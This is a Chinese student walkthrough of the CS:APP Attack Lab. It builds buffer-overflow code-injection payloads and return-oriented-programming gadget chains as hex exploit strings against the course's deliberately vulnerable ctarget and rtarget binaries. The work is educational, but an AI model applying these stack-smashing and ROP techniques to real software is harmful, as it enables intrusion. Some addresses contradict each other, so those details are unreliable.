文章目录
前置知识
栈布局以及栈增长方向
缓冲区溢出示例
准备工作
- 反汇编两个需要做的文件
objdump -d ctarget > ctarget.txt
objdump -d rtarget > rtarget.txt
- 得到了两个新文件
ctarget.txt
和rtarget.txt
- README.txt:描述本目录内容的文件。
- ctarget:一个容易遭受code-injection攻击的可执行程序。
- rtarget:一个容易遭受return-oriented-programming攻击的可执行程序。
- cookie.txt:一个8位的十六进制码,在后面解题会用到.
- farm.c:你的目标“gadget farm”的源代码,在产生return-oriented programming攻击时会用到。
- hex2raw:一个生成攻击字符串的工具。后面用这个工具处理
CI:代码注入攻击
phase_1
第一关根据题意得知执行test函数时会调用getbuf函数,但是不想让他调用这个函数,而是调用touch1函数,所以之需要将getbuf的返回地址改为touch1的返回地址即可。
实验思路:
我们知道在缓冲区溢出的时候会冲掉一部分的数据,所以之需要把getbuf中的18个字节冲掉,从低端向上冲掉,最后再把getbuf的地址换为touch1的地址。
存放示例图:
实验步骤:
- 查看
test
函数中的内容。test中调用了getbuf函数,esi中保存了传递的第一个参数。
000000000040181b <test>:
40181b: 48 83 ec 08 sub $0x8,%rsp
40181f: b8 00 00 00 00 mov $0x0,%eax
401824: e8 56 fe ff ff callq 40167f <getbuf>
401829: 89 c2 mov %eax,%edx
40182b: be 50 2e 40 00 mov $0x402e50,%esi //查看传递参数的内容
401830: bf 01 00 00 00 mov $0x1,%edi
401835: b8 00 00 00 00 mov $0x0,%eax
40183a: e8 b1 f4 ff ff callq 400cf0 <__printf_chk@plt>
40183f: 48 83 c4 08 add $0x8,%rsp
401843: c3 retq
- 查看esi中的内容。在test打个断点,然后使用
x/2s
查看内容。
- 查看getbuf函数。getbuf函数中调用了gets函数。
000000000040167f <getbuf>:
40167f: 48 83 ec 18 sub $0x18,%rsp
401683: 48 89 e7 mov %rsp,%rdi
401686: e8 59 02 00 00 callq 4018e4 <Gets>
40168b: b8 01 00 00 00 mov $0x1,%eax
401690: 48 83 c4 18 add $0x18,%rsp
401694: c3 retq
-
在touch1函数中查看其地址。
-
在当前目录的终端中创建一个touch1.txt文件夹,将touch1的地址放入。由于是小端存放所以倒着存放
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
95 16 40 00 00 00 00 00 %touch1的地址
- 使用hex2raw工具进行编译,Ctarget默认会连接CMU的服务器,加-q参数可以取消连接服务器。(不加-q也可)
./hex2raw < touch1.txt | ./ctarget -q
过了之后一定一定记得转化为二进制文件!!!要不cg系统提交之后是零分!!!!卡了一周!!
./hex2raw <touch1.txt> ctarget.l1
phase_2
实验思路:
第二道题要求我们还是将getbuf的地址改为touch2的地址。题目要求在这个例子中,你必须让touch2以为它收到的参数是你的cookie,所以有一个参数值要与cookie相等,cookie的值为0x3d9549ca
,在传递参数是就可以把cookie放入寄存器rdi中,然后将touch2的地址压入栈,touch2的地址为0x401695
。最后执行getbuf之后回到rsp那里,所以要找到rsp的地址,然后执行写好的三段代码。
实验步骤
- 本题的关键就是在改变返回地址前也设置rdi寄存器的值。因此我们可以很容易的想到我们要插入的汇编代码是什么:
mov $0x3d9549ca, %rdi
push $0x4016c1
ret
- 再来看一下getbuf的汇编代码,把rsp赋给了rdi然后调用了gets ,我们需要看一下
rsp
,在这里打一个断点。
gdb ctarget
调试以下打个断点。
b getbuf 在getbuf函数处打断点。
r 用-q参数运行程序,直到遇到断点。
disas 反汇编当前函数。
step 继续执行程序直到另一行代码,再中断,把控制器交给gdb。
stepi 跳过没有调试信息的函数。
r /x $rsp 用16进制打印rsp寄存器的值。
rsp的值:
0x55654c98
-
用gcc –c t2.s 编译汇编文件,再用objdump命令获得上面这三条指令的字节表示。
-
在当前目录的终端中创建一个touch2.txt文件夹
48 c7 c7 ca 49 95 3d 68
c1 16 40 00 c3 00 00 00 %注入的代码
00 00 00 00 00 00 00 00
98 4c 65 55 00 00 00 00 %rsp的指向的地址
- 使用hex2raw工具进行编译
./hex2raw < touch2.txt | ./ctarget
phase_3
和第二关差不多的思路组合答案。
- touch3的首地址
0x4017ad
,字符串的值cookie0x3d9549ca
- rsp:
55654c98
用rsp计算cookie的地址:
根据上一关我们已经得到的%rsp地址0x55654cb8,返回地址应为%rsp+0x18(保存代码执行地址的位置),然后字符串地址应为%rsp+0x20(32).
所以寄存器传递的地址是字符串的地址:0x55654cb8
movq $0x55654cb8, %rdi
pushq $0x4017ad
ret
-
注入代码部分:
-
将cookie变成ASCII形式:
转化网址
33 64 39 35 34 39 63 61
aaaa试了好多次才过了,没想到取地址符的有无还会影响机器码!!!!!!!!!!!!!
- 提交编译
最后答案:
48 c7 c7 b8 4c 65 55 68
ad 17 40 00 c3 00 00 00 %三条指令转换为的机器码
00 00 00 00 00 00 00 00 %填充满24字节
98 4c 65 55 00 00 00 00 %rsp的指向
33 64 39 35 34 39 63 61 %cookie的ascII码
ROP:面向返回的编程
下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。
gadget farm中的满足条件的gadget
gadget | 起始地址 | 指令编号 | 指令 |
---|---|---|---|
addval_385 | 401873 | 58 (90) c3 | popq %rax |
setval_422 | 401858 | 48 89 c7 c3 | movq %rax,%rdi |
setval_246 | 401866 | 48 89 c7 c3 | movq %rax,%rdi |
setval_232 | 401919 | 48 89 e0 c3 | movq %rsp,%rax |
add_xy | 401887 | 48 8d 04 37 c3 | lea (%rdi,%rsi,1),%rax |
phase_2
popq %rax
的指令字节为:58,所以我们找到了如下函数:
0000000000401873 <addval_385>:
401873: 8d 87 00 58 90 c3 lea -0x3c6fa800(%rdi),%eax
401879: c3
从中我们可以得出`popq %rax`指令的地址为:`0x401876`
movq %rax, %rdi的指令字节为:48 89 c7 c3
,所以我们找到了如下函数:
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3
0000000000401866 <setval_246>:
401866: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40186c: c3
从中我们可以得出movq %rax, %rdi
指令的地址为:0x40185a
和0x401868
两个地址经过测试都可以通过。
cookie的地址:3d9549ca
touch2的地址为0x4016c1
生成攻击字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 % 前0x18个字符填充0x00
76 18 40 00 00 00 00 00 % popq %rax
ca 49 95 3d 00 00 00 00 % cookie (popq的目标)
6a 18 40 00 00 00 00 00 % movq %rax,%rdi
c1 16 40 00 00 00 00 00 % 返回到 touch2
记得再用rtarget,开始一直用的ctarget过不了。
./hex2raw < touch4.txt | ./rtarget
输入保存./hex2raw < touch4.txt > rtarget.l2
phase_3
第一步,寻找到与movq %rsp, %rax
有关的地址
0000000000401919 <setval_232>:
401919: c7 07 c8 48 89 e0 movl $0xe08948c8,(%rdi)
40191f: c3
movq %rsp, %rax
的指令字节为:48 89 e0
, 所以这一步的gadget1
地址为:0x40191c
第二步,找到一个递增的%rax
的代码片指向我们的cookie地址,即找到add $0x37, %al
0000000000401887 <add_xy>:
401887: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40188b: c3 retq
add $0x37, %al
的指令字节为:04 37
, 所以这一步的gadget2
地址为:0x401889
第三步,找到mov %rax, %rdi
movq %rax, %rdi的指令字节为:48 89 c7 c3
,所以我们找到了如下函数:
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3
0000000000401866 <setval_246>:
401866: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40186c: c3
所以这一步的gadget3
地址为:0x40185a
和0x401868
答案存放方式:
第一个填充区的大小为0x18是24字节。
touch3的地址:4017ad
第二个填充区的大小为55(0x37)-3*8=31字节
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 %第一填充区24字节
1c 19 40 00 00 00 00 00 %gadget1的地址
89 18 40 00 00 00 00 00 %gadget2的地址
5a 18 40 00 00 00 00 00 %gadget3的地址
ad 17 40 00 00 00 00 00 %touch3的地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 33 %第二填充区31字节
64 39 35 34 39 63 61 00 %字符串
测试有没有通过:./hex2raw < touch5.txt | ./rtarget
,pass了
保存一下
最后提交检测
最后再在桌面上创建一个名为attacklab
的文件夹,把生成的二进制文件放到新创建的文件夹中,提交检测即可。
参考文章
参考了网上的文章做的。侵删
https://www.jianshu.com/p/db731ca57342
https://www.viseator.com/2017/07/18/CS_APP_AttackLab/
https://blog.csdn.net/lijun538/article/details/50682387
https://blog.csdn.net/C__C_/article/details/111308959
attacklab
hex2raw的使用
hex2raw的输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值。例如,字符串“012345”,必须输入“30 31 32 33 34 35 00”。十六进制字符之间以空白符(空格或新行)分隔。
可以把攻击字符串存入文件中,例如exploit.txt,以下列几种方式调用:
用一系列管道(pipe)通过hex2raw传递字符串。
unix> cat exploit.txt | ./hex2raw | ./ctarget
将raw字符串存在文件中,使用I/O重定向。
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget < exploit-raw.txt
这种方法也可以在gdb中使用。
unix> gdb ctarget
(gdb) run < exploit-raw.txt
将raw字符串存在文件中,将文件的名字作为hex2raw的命令行参数。
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget -i exploit-raw.txt
这种方法也可以在gdb中使用。
生成字节代码
假设编写一个汇编文件example.s,代码如下:
pushq $0xabcdef # Push value onto stack
addq $17,%rax # Add 17 to %rax
movl %eax,%edx # Copy lower 32 bits to %edx
可以汇编和反汇编文件:
unix> gcc -c example.s
unix> objdump -d example.o > example.d
生成的example.d包含如下内容:
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
由此可以推出这段代码的字节序列:
68 ef cd ab 00 48 83 c0 11 89 c2
可以通过hex2raw生成目标程序的输入字符串。也可以手动修改example.d的代码,得到下面的内容:
68 ef cd ab 00 /* pushq $0xabcdef */
48 83 c0 11 /* add $0x11,%rax */
89 c2 /* mov %eax,%edx */
这也是合法的hex2raw的输入。